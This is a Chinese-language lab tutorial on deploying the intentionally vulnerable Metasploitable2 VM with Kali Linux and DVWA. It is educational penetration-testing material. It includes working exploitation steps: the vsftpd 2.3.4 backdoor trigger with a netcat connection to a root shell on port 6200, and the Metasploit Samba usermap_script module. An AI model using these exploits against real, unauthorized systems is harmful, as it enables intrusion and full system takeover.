Metasploitable2渗透测试实战:从环境搭建到漏洞利用
2026/7/18 9:22:53 网站建设 项目流程

1. 项目概述与核心价值

如果你刚接触网络安全,或者想找一个能让你“合法开火”的实战环境,Metasploitable2绝对是你绕不开的经典。它不是一个需要你小心翼翼配置的普通虚拟机,而是一个被故意“搞坏”的、预置了数十个已知漏洞的Linux系统。你可以把它理解为一个网络安全领域的“沙袋”,专门用来练习渗透测试的各种拳法,从信息搜集、漏洞扫描到漏洞利用和权限提升,一整套流程都能在上面跑通。而DVWA(Damn Vulnerable Web Application)则是它内部一个同样经典的Web漏洞靶场,专门用来练习SQL注入、XSS、文件上传等Web安全技能。

我之所以推荐从它开始,是因为它解决了新手最大的痛点:去哪里找一个安全的、合法的、且漏洞丰富的目标来练手?自己搭建环境太耗时,直接拿互联网上的真实系统测试又违法。Metasploitable2的出现,完美地填补了这个空白。它把所有漏洞都打包好,放在一个封闭的虚拟环境里,你只需要一台电脑和VMware/VirtualBox这类虚拟机软件,就能立刻拥有一个完整的攻防实验室。本次指南,我将带你从零开始,完成Metasploitable2的下载、虚拟机配置、网络设置,并重点演示如何利用Kali Linux对其发起一次基础的渗透测试,最后还会详细讲解内置DVWA的配置与初步使用。整个过程,我会穿插我踩过的坑和总结出的技巧,确保你能一次成功,并理解每一步背后的逻辑。

2. 环境准备与虚拟机部署

2.1 虚拟化平台选择与准备

工欲善其事,必先利其器。选择一个稳定可靠的虚拟化平台是第一步。主流选择有两个:VMware Workstation Pro(或免费的VMware Player)和Oracle VirtualBox。从我多年的使用经验来看,VMware在性能和网络模拟的稳定性上通常更胜一筹,特别是涉及到复杂的NAT、主机模式网络配置时,VMware出问题的概率更低。VirtualBox的优势在于完全免费且开源,对于预算有限的个人学习者是不错的选择。本次演示我将以VMware Workstation 17 Pro为例,但核心步骤在VirtualBox上也是相通的。

在安装VMware之前,请务必确认你的主机(你的物理电脑)已经开启了CPU的虚拟化支持。这个功能通常在BIOS/UEFI设置中,名为“Intel Virtualization Technology (VT-x)”或“AMD-V”。如果没有开启,虚拟机性能会极差甚至无法启动64位系统。开启方法因电脑品牌而异,一般在开机时按F2、F10或Del键进入BIOS进行设置。

注意:网上流传的所谓“VMware虚拟机许可证密钥”或“免费版”通常指VMware Workstation Player,它是Workstation Pro的功能简化版,但对于运行Metasploitable2和Kali来说完全够用。请从VMware官网下载正版,避免使用来路不明的破解版,以防捆绑恶意软件。

2.2 Metasploitable2镜像下载与验证

Metasploitable2的官方镜像可以从Vulnhub等知名安全社区获取。这里有一个关键点:务必从可信源下载,并验证文件完整性。因为这是一个充满漏洞的系统,如果镜像被第三方篡改,植入后门,那你的练习环境本身就变得不安全了。

  1. 下载:访问Vulnhub的Metasploitable2页面,下载其OVA(Open Virtualization Appliance)格式的文件。OVA是一种开放的虚拟机打包格式,VMware和VirtualBox都能直接导入,比处理单独的vmdk磁盘文件方便得多。文件大小大约在800MB左右。
  2. 验证(强烈建议):下载完成后,核对文件的MD5或SHA256哈希值是否与官方页面提供的一致。在Windows上,你可以使用命令行工具certutil -hashfile Metasploitable2.ova MD5来计算。这一步能确保你下载的文件在传输过程中没有损坏,且未被篡改。

2.3 虚拟机导入与基础配置

拿到OVA文件后,部署就非常简单了。

  1. 导入虚拟机:打开VMware Workstation,点击“文件”->“打开”,选择你下载的.ova文件。VMware会弹出一个导入向导,显示虚拟机的名称和存储路径。这里我建议你修改一下存储位置,不要放在默认的C盘,以免占用系统盘空间。虚拟机的名称可以保持默认“Metasploitable2”。
  2. 关键配置调整:导入完成后,先不要急着启动。右键点击新导入的虚拟机,选择“设置”。
    • 内存:Metasploitable2基于Ubuntu 8.04,非常轻量,分配512MB内存绰绰有余,甚至256MB也能跑。我通常给1GB,让系统更流畅。
    • 处理器:分配1个CPU核心即可。
    • 网络适配器这是最重要的一步!选择“NAT模式”。为什么是NAT?NAT模式下,虚拟机会共享主机的IP地址上网,并且虚拟机之间(比如你的Kali和Metasploitable2)可以互相通信,但外部网络无法直接访问虚拟机。这为我们创造了一个封闭、安全的实验环境。相比之下,“桥接模式”会让虚拟机像一台真实设备一样接入你的局域网,存在被同一局域网内其他设备扫描甚至攻击的微小风险,虽然概率低,但作为安全从业者,养成隔离实验环境的习惯很重要。
  3. 启动与登录:配置完成后,启动虚拟机。你会看到经典的Linux登录界面。Metasploitable2的默认登录凭证是:
    • 用户名:msfadmin
    • 密码:msfadmin成功登录后,你可以用ifconfig命令查看虚拟机获取到的IP地址(通常是192.168.xxx.xxx网段),记下它,比如192.168.111.128,后续渗透测试会用到。

3. 网络拓扑设计与Kali Linux联动

3.1 构建封闭的攻防实验网络

一个完整的渗透测试环境至少需要两个角色:攻击机(Attacker)和靶机(Target)。我们刚刚搭建好的Metasploitable2就是靶机。现在需要攻击机,而Kali Linux无疑是首选。它预装了数百种安全工具,是渗透测试的“瑞士军刀”。

  1. 安装Kali Linux虚拟机:同样,你可以从Kali官网下载OVA或ISO镜像,在VMware中新建虚拟机进行安装。安装过程与普通Linux类似,建议分配至少2GB内存和20GB磁盘空间。安装时,网络也务必设置为“NAT模式”
  2. 验证网络连通性:启动Kali Linux和Metasploitable2。在Kali中打开终端,使用ping命令测试是否能通靶机的IP地址。
    ping -c 4 192.168.111.128
    如果收到回复,恭喜你,一个最基础的“攻击机-靶机”单向网络已经打通。如果ping不通,请检查:
    • 两台虚拟机是否都在运行。
    • 两台虚拟机的网络适配器是否都设置为“NAT模式”(确保它们在同一个VMware虚拟网络里)。
    • 尝试关闭两台虚拟机的防火墙(对于实验环境可以这么做)。在Metasploitable2上,可以尝试sudo ufw disable(如果安装了ufw)。

这个简单的NAT网络拓扑,确保了你的攻击行为被限制在主机内部的虚拟网络中,不会影响到你的真实家庭或公司网络,完全合法且安全。

3.2 常见网络问题排查实录

即便按照步骤操作,有时也会遇到网络问题。这里记录几个我反复遇到的坑及其解决方案:

  • 问题一:Kali能ping通主机,但ping不通Metasploitable2,反之亦然。

    • 排查思路:这通常是VMware虚拟网络配置问题。在VMware菜单栏,点击“编辑”->“虚拟网络编辑器”。
    • 解决方案:确保你使用的NAT模式对应的虚拟网络(通常是VMnet8)是“已连接”状态。更彻底的方法是,将两台虚拟机的网络适配器先都移除,然后重新添加,并确保连接到同一个网络(如VMnet8)。有时候VMware的虚拟网络服务可能异常,重启VMware的相关服务或主机电脑也能解决。
  • 问题二:虚拟机启动后提示“虚拟机监控程序功能对该用户不可用”或“VMware Workstation 无法连接到虚拟机”。

    • 排查思路:这通常与主机系统的Hyper-V、Windows沙盒、Windows Defender Credential Guard等基于虚拟化的安全功能冲突。
    • 解决方案
      1. 以管理员身份打开Windows PowerShell或命令提示符。
      2. 运行命令禁用Hyper-V:bcdedit /set hypervisorlaunchtype off
      3. 运行命令禁用Windows沙盒和Credential Guard(如果启用):bcdedit /set vm-launchtype off
      4. 重启主机。这是必须的步骤。
      5. 重启后,再尝试打开VMware和虚拟机。
  • 问题三:虚拟机运行极其卡顿。

    • 排查思路:除了检查主机资源是否充足(内存、CPU),一个常见原因是虚拟机磁盘文件碎片化或运行在机械硬盘上。
    • 解决方案:如果可能,将虚拟机文件存放在SSD硬盘上。在VMware设置中,为虚拟机分配更多内存。关闭虚拟机不必要的视觉效果(对于Metasploitable2,可以关闭图形界面,直接用终端操作)。

4. 信息搜集与漏洞扫描实战

环境就绪,真正的渗透测试从信息搜集开始。记住,一次成功的渗透,70%的功劳在于细致的信息搜集。盲目攻击就像蒙着眼睛扔飞镖。

4.1 基础信息搜集:端口与服务发现

我们首先需要知道靶机上开放了哪些门(端口),门后运行着什么服务(服务及版本)。

在Kali Linux中,我们使用神器Nmap

nmap -sV -sC -O -p- 192.168.111.128
  • -sV: 探测服务版本。知道服务及其具体版本号,是寻找对应漏洞的关键。
  • -sC: 使用默认的Nmap脚本进行更深入的探测,可能会发现一些默认配置漏洞。
  • -O: 尝试识别靶机的操作系统。
  • -p-: 扫描所有65535个端口。Metasploitable2开了很多非常用端口的服务,这个参数很重要。

扫描完成后,你会看到一长串结果。Metasploitable2会开放大量端口,例如:

  • 21/tcp: FTP服务 (vsftpd 2.3.4) —注意这个版本!
  • 22/tcp: SSH服务 (OpenSSH 4.7p1)
  • 23/tcp: Telnet服务
  • 80/tcp: HTTP服务 (Apache 2.2.8) — 这就是运行DVWA和其他Web应用的端口。
  • 443/tcp: HTTPS服务
  • 445/tcp: SMB服务 (Samba 3.x) — Windows文件共享协议在Linux上的实现。
  • 3306/tcp: MySQL数据库
  • 5432/tcp: PostgreSQL数据库
  • 6667/tcp: IRC服务 (UnrealIRCd) — 又一个有历史漏洞的服务。

这个列表本身就是一份“漏洞菜单”。每一个老旧的服务版本,都可能对应着一个或多个已知的公开漏洞。

4.2 漏洞扫描与初步分析

有了具体的服务版本信息,我们就可以进行针对性的漏洞扫描。这里可以手动搜索,也可以使用自动化工具。我推荐结合使用:

  1. 手动搜索(培养感觉):拿着“vsftpd 2.3.4”去搜索引擎或漏洞库(如Exploit-DB, CVE Details)搜索。你会立刻发现,vsftpd 2.3.4存在一个著名的后门漏洞(CVE-2011-2523)。攻击者可以通过特定方式触发一个后门,直接获取root权限。这就是信息搜集的价值。
  2. 自动化扫描(提高效率):在Kali中,我们可以使用nmap的漏洞脚本引擎(NSE)或者专门的漏洞扫描器如nikto(针对Web)和nessus(商业,功能强大)。例如,针对Web服务:
    nikto -h http://192.168.111.128
    这个命令会快速扫描靶机80端口上的Web应用,列出发现的潜在问题,如过时的服务器软件、可列出的目录、默认文件等。

实操心得:不要完全依赖自动化工具。自动化工具会产生大量结果,其中包含许多误报(False Positive)或低风险项目。一个有经验的分析师,会从Nmap的-sV结果中,快速定位那些版本号非常老旧、在安全社区广为人知存在漏洞的服务,作为优先攻击目标。比如上面的vsftpd 2.3.4、OpenSSH 4.7p1、Apache 2.2.8,都是十多年前的版本,漏洞百出。

5. 漏洞利用与权限提升演示

我们选择两个最具代表性的漏洞进行实战演示:一个是前面提到的vsftpd后门漏洞,另一个是Samba的远程命令执行漏洞。这两个漏洞利用起来相对简单,能直观展示从漏洞发现到获取系统权限的全过程。

5.1 利用vsftpd 2.3.4后门获取Shell

  1. 连接FTP服务:在Kali终端,使用telnetnc(netcat)连接靶机的21端口。
    nc -nv 192.168.111.128 21
  2. 触发后门:在FTP服务提示输入用户名时,输入一个精心构造的包含“:)”字符的字符串。这个“:)”就是触发后门的“魔法”。
    220 (vsFTPd 2.3.4) USER msfadmin:)
    注意,这里不是输入密码,而是在用户名后面加上:)。如果后门存在,服务会卡住或返回一个特殊的响应。
  3. 连接后门端口:该后门会在6200端口打开一个监听shell。我们另开一个Kali终端,连接这个端口。
    nc -nv 192.168.111.128 6200
  4. 获取权限:成功连接后,你会直接获得一个具有root权限的shell!可以执行idwhoami命令确认。
    id # 输出:uid=0(root) gid=0(root)
    至此,你已经完全控制了这台靶机。这个过程展示了“漏洞利用”的威力:一个简单的、已知的漏洞,可以瞬间绕过所有认证,拿到最高权限。

5.2 利用Samba “username map script”漏洞

Metasploitable2上的Samba服务(端口445)配置存在一个严重错误,允许远程用户通过用户名映射脚本执行任意命令。

  1. 使用Metasploit框架:Kali内置了Metasploit,这是最强大的渗透测试框架。我们打开它:
    msfconsole
  2. 搜索并利用漏洞模块:在msf提示符下:
    search samba 3.x # 会列出多个相关模块,我们选择其中一个经典的exploit use exploit/multi/samba/usermap_script set RHOSTS 192.168.111.128 exploit
  3. 获取Shell:如果目标存在该漏洞,Metasploit会自动完成利用过程,并为你返回一个Meterpreter会话。Meterpreter是一个功能强大的后渗透工具,比普通的shell更好用。在这个会话里,你可以执行各种命令,如sysinfo查看系统信息,shell进入一个标准shell。

注意事项:在实际渗透测试中,获取一个初始shell(可能是普通用户权限)往往只是开始。我们需要进行“权限提升”(Privilege Escalation),将权限从普通用户提升到root。在Metasploitable2上,由于我们刚才利用vsftpd漏洞直接拿到了root,这一步跳过了。但在真实场景或其他靶机(如Vulnhub上的DC系列)中,提权是必经之路,涉及内核漏洞利用、SUID文件滥用、环境变量劫持等多种技术。

6. DVWA靶场配置与初步使用

Metasploitable2已经预装了DVWA,但首次访问需要一些简单配置。

  1. 访问DVWA:在Kali的浏览器中,输入http://192.168.111.128/dvwa/。你会看到一个报错页面,提示PHP function allow_url_include is disabled
  2. 修改PHP配置:我们需要登录Metasploitable2(用之前得到的root shell),修改PHP配置文件。
    # 在Metasploitable2的shell中 nano /etc/php5/cgi/php.ini
    找到allow_url_include这一行,将其值从Off改为On。 同样,找到allow_url_fopen,也确保是On。 保存并退出(Ctrl+X,然后按Y确认)。
  3. 重启Web服务:为了让配置生效,重启Apache。
    sudo /etc/init.d/apache2 restart

    踩坑记录:Metasploitable2上的Apache可能用了不同的管理脚本,如果上述命令无效,可以尝试sudo service apache2 restart

  4. 登录DVWA:刷新Kali中的DVWA页面。现在你应该能看到登录界面。默认凭证是:
    • 用户名:admin
    • 密码:password
  5. 初始化数据库:首次登录后,页面会提示你“Setup / Reset Database”。点击这个按钮,DVWA会为自己创建所需的数据库和表。完成后,页面自动跳转到主界面。
  6. 设置安全等级:在DVWA左侧菜单,点击“DVWA Security”。你可以在这里设置安全级别,从“Low”、“Medium”、“High”到“Impossible”。建议从“Low”开始,这样所有漏洞都是完全暴露的,方便你理解漏洞原理。随着技能提升,再挑战更高级别,看看防护机制如何生效。

现在,你就可以在“SQL Injection”、“Command Injection”、“File Upload”、“XSS”等模块进行练习了。每个模块都提供了前端的漏洞输入点和后端的源代码,非常适合对比学习攻击载荷和防御代码。

7. 渗透测试后的清理与反思

一次完整的渗透测试练习,不仅包括攻击,还包括清理痕迹和总结。虽然Metasploitable2是靶机,但养成好习惯很重要。

  1. 清理痕迹:如果你通过漏洞添加了用户、上传了文件或修改了系统日志,练习结束后应该将其还原。对于Metasploitable2,最简单彻底的方法是恢复虚拟机快照。在攻击前,为虚拟机创建一个干净状态的快照,练习完成后一键还原即可。
  2. 总结报告:模拟真实工作,整理你的发现。可以包括:
    • 目标信息(IP, 开放端口, 服务版本)
    • 发现的漏洞列表(vsftpd后门、Samba配置漏洞等),每个漏洞附上风险等级(高、中、低)和简要描述。
    • 漏洞利用步骤简述。
    • 获取的权限级别(如root shell)。
    • 建议的修复措施(如升级vsftpd、修改Samba配置)。
  3. 拓展学习:Metasploitable2的漏洞远不止我们演示的这些。你可以尝试:
    • 利用UnrealIRCd的漏洞。
    • 对MySQL或PostgreSQL进行弱口令爆破。
    • 尝试对DVWA的“Impossible”级别进行挑战,理解真正的安全代码如何编写。
    • 使用更多工具,如hydra进行密码爆破,sqlmap自动化进行SQL注入测试等。

最后,记住核心原则:所有技术都只在你自己拥有或获得明确授权的环境中使用。Metasploitable2这样的靶机,为你提供了绝佳的、合法的练兵场。通过反复搭建、攻击、分析、总结,你将深刻理解攻击者的思路和防御者的关键点,这才是学习渗透测试最扎实的路径。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询